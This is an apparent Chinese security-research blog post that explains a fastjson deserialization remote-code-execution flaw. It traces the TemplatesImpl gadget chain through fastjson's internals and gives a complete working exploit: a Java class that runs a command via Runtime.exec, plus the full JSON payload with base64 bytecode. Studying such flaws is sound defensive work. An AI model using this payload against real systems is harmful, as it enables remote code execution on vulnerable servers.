0x00

fastjson 日前爆了一个反序列化导致 RCE 的漏洞,但是网上没有流传的 exploit。今天 @廖新喜1 发了一张截图,隐约透露出的内容是利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 来执行命令。我当时菊花一紧,这不就是我最开始看 ysoserial 的时候的那个执行链吗。奈何太菜,调试不出来。
不过既然 dalao 都已经调试出来了,那么肯定用这个没错了。打了一把 CS:GO(Steam:ricter_z)后操起 IDEA 开始调试。
因为对 Java 人生地不熟,更别说什么 TemplatesImpl 了。首先看一下 TemplatesImpl 的源码,没看出什么来。总之先按照截图慢慢凑一下 payload 吧。

...

于是终于凑出来了。紧接着单步调试跟了一下 fastjson 解析流程,终于搞明白原理了。

我好菜啊.jpg

0x01 fastjson 的特性

对于 byte[] 的 base64 decode

对于 byte[] 类型的成员变量,在 deserialze 的时候会调用 lexer.bytesValue

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
    JSONLexer lexer = parser.lexer;
    if(lexer.token() == 8) {
        lexer.nextToken(16);
        return null;
    } else if(lexer.token() == 4) {
        byte[] bytes = lexer.bytesValue();
        lexer.nextToken(16);
        return bytes;

bytesValue 方法为:

public byte[] bytesValue() {
    return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);
}

private 成员变量的处理

对于一个 Class:

class ModelTest {
    public String field1;
    public int field2;
    private String field3;
    private int field4;

    public String getField3() {
        return field3;
    }

    public void setField3(String s) {
        field3 = s;
    }
}

默认情况下,fastjson 会把一些符合条件的方法和字段加到字段列表里。

  • field1,public 的成员变量
  • field2,同上
  • field3,存在 getField3/setField3 方法

fastjson 判断 field3 的条件如下:

methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))

并且:

methodName.startsWith("set")

对于 field4,在设置了 SupportNonPublicField 后,也会支持解析。具体可以查看 Wiki:https://github.com/alibaba/fastjson/wiki/Feature_SupportNonPublicField_cn

对于有 getter 没有 setter 的变量,fastjson 会在 JavaBeanInfo.class 的第 459 行处理(版本不同可能有偏差):

methodName.length() >= 4 && 
!Modifier.isStatic(method.getModifiers()) &&
methodName.startsWith("get") && 
Character.isUpperCase(methodName.charAt(3)) && 
method.getParameterTypes().length == 0 &&
(
Collection.class.isAssignableFrom(method.getReturnType()) || 
Map.class.isAssignableFrom(method.getReturnType()) || 
AtomicBoolean.class == method.getReturnType() ||
AtomicInteger.class == method.getReturnType() ||
AtomicLong.class == method.getReturnType()
)

关注括号里的几个判断,需要满足 X.class.isAssignableFrom(method.getReturnType()) 才可以进入 if 语句。

关键点来了:在 TemplatesImpl.java 中,getOutputProperties 方法返回类型是 Properties,而 Properties extends Hashtable<>Hashtableimplements Map,所以可以通过这个判断。

0x02 漏洞触发原理

_outputProperties 触发 getOutputProperties 方法调用

我一直很疑惑,为什么 _outputProperties 会使得 getOutputProperties 被调用呢?于是我深入的单步了一下,发现 fastjson 有一个神奇的 smartMatch 方法:

public FieldDeserializer smartMatch(String key) {
    if(key == null) {
        return null;
    } else {
        FieldDeserializer fieldDeserializer = this.getFieldDeserializer(key);
        boolean snakeOrkebab;
        int i;
        int var6;
        if(fieldDeserializer == null) {
            snakeOrkebab = key.startsWith("is");
            FieldDeserializer[] var4 = this.sortedFieldDeserializers;
            i = var4.length;
            ...
        }
        if(fieldDeserializer == null) {
            snakeOrkebab = false;
            String key2 = null;

            for(i = 0; i < key.length(); ++i) {
                char ch = key.charAt(i);
                if(ch == 95) {
                    snakeOrkebab = true;
                    // 这里把下划线替换掉了,所以可以匹配
                    key2 = key.replaceAll("_", "");
                    break;
                }

                if(ch == 45) {
                    snakeOrkebab = true;
                    key2 = key.replaceAll("-", "");
                    break;
                }
            }

匹配完成后,返回了一个 FieldDeserializer 对象,接着下面的代码调用此处:

((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);

parseField 调用了 setValue

public void setValue(Object object, Object value) {
    if(value != null || !this.fieldInfo.fieldClass.isPrimitive()) {
        try {
            Method method = this.fieldInfo.method;
            if(method != null) {
                if(this.fieldInfo.getOnly) {
                    if(this.fieldInfo.fieldClass == AtomicInteger.class) 
                    {
                        ..
                    } else if(Map.class.isAssignableFrom(method.getReturnType())) {
                        Map map = (Map)method.invoke(object, new Object[0]);

这里 method 就是 getOutputProperties 方法了。
通过 getOutputProperties 方法,我们可以构造一个 exploit 类来进行攻击。

调用链

TemplatesImpl.javagetOutputProperties 函数为:

public synchronized Properties getOutputProperties() {
    try {
        // 调用 newTransformer
        return newTransformer().getOutputProperties();

接着 newTransformer 函数调用了 getTransletInstance

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;
    // 调用 getTransletInstance
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,

getTransletInstance 调用:

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        // 这里实例化了 _class[_transletIndex]
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

所以编写一个继承自 AbstractTranslet 类的类后,在构造器执行代码即可。

0x03 从 0 开始的构造 exploit

TemplatesImpl.java 构造 gadgets

TemplatesImpl.javadefineTransletClasses 中,通过 for 循环取出 _bytecodes 中的值,接着调用 loader.defineClass 来定义类。

private void defineTransletClasses()
    throws TransformerConfigurationException {
    ...
    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);

接着,会判断这个类的超类是不是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类,如果是,把 i 赋给 _transletIndex

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
}
else {
     _auxClasses.put(_class[i].getName(), _class[i]);
}

接着通过上述的调用链:

getOutputProperties() -> getTransletInstance() -> getTransletInstance() -> AbstractTranslet newInstance()

来实例化 exploit 类。

构造 exploit

根据以上内容,我们需要构造的 exploit 应满足如下条件:

  • 合法的 TemplatesImpl
  • 合法的 _bytecodes,可以正确解析成类
  • 类需要继承自 AbstractTranslet,构造器中存放执行命令的内容

首先利用 @type 声明一个 TemplatesImpl

{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": [], "_name": "a"}

同时根据源代码,我们还要构造一个 _tfactory 加到上面的 JSON 里:

"_tfactory": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"}

为了触发漏洞点,我们还需要设置 _outputProperties。

"_outputProperties": {"@type": "java.util.Properties"}

接着构造 _bytecodes。由于我们知道 fastjson 会帮助我们解码 base64,所以构造好直接 base64 编码然后填入 _bytecodes 即可。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Exp extends AbstractTranslet {

    public Exp() {
        try {
            Runtime.getRuntime().exec("open /Applications/Calculator.app");
        } catch (IOException e) {}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

}

由于 defineTransletClasses 的一个 bug,我们的 _bytescode 需要两项才可以。具体 bug 点在 defineTransletClasses 函数:

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

由于没有考虑 classCount == 1 的情况,导致当 classCount 为 1 时,_auxClassesnull(扶额)。
这里是我犯蠢了,其实直接构造一个正确的类即可。

最终 payload 为(注意,这里是 Java 1.8,如果是 1.6 版本的话需要在 1.6 下编译 Exp 类,再写入 _bytecodes):

{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": [
    "yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAbTG1haW4vamF2YS9jb20vUmljdGVyWi9FeHA7AQANU3RhY2tNYXBUYWJsZQcAJwcAJgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwApAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAIRXhwLmphdmEMAAgACQcAKgwAKwAsAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAtAC4BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAZbWFpbi9qYXZhL2NvbS9SaWN0ZXJaL0V4cAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAADAAEACAAJAAEACgAAAGoAAgACAAAAEiq3AAG4AAISA7YABFenAARMsQABAAQADQAQAAUAAwALAAAAFgAFAAAADgAEABAADQATABAAEQARABQADAAAAAwAAQAAABIADQAOAAAADwAAABAAAv8AEAABBwAQAAEHABEAAAEAEgATAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAYAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAUABUAAQAAAAEAFgAXAAIAGAAAAAQAAQAZAAEAEgAaAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAdAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAUABUAAQAAAAEAGwAcAAIAAAABAB0AHgADABgAAAAEAAEAGQABAB8AAAACACA="
  ],
  "_name": "a",
  "_tfactory": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"
  },
  "_outputProperties": {
    "@type": "java.util.Properties"
  }
}

效果:

0x04 总结

说是个 RCE,但是利用起来环境却很苛刻。如果需要利用的话,对于 JSON 的处理函数应该为:

JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);

但是大多数人都是直接 JSON.parse 一把梭,设置 Feature.SupportNonPublicField 的人少之又少,影响面会变小很多。
其他也没有什么好说的,再次感谢 @廖新喜1,如果不是那张截图我仍然还在把 fastjson 这事儿扔在 TODO 里吧(。
另外,总感觉利用 TemplatesImpl 这个真的是很多巧合的结合才会成功。
首先是 fastjson 的限制,然而 getOutputProperties 的返回值类型是 Properties。如果没有这一点,这个调用链也连接不起来。
其次,由于 fastjson 的 smartMatch,我们才会通过 _outputProperties 去触发 getOutputProperties

构造完的我莫名其妙,但是了解原理后叹为观止。

我们所过的每个平凡的日常,也许就是连续发生的奇迹。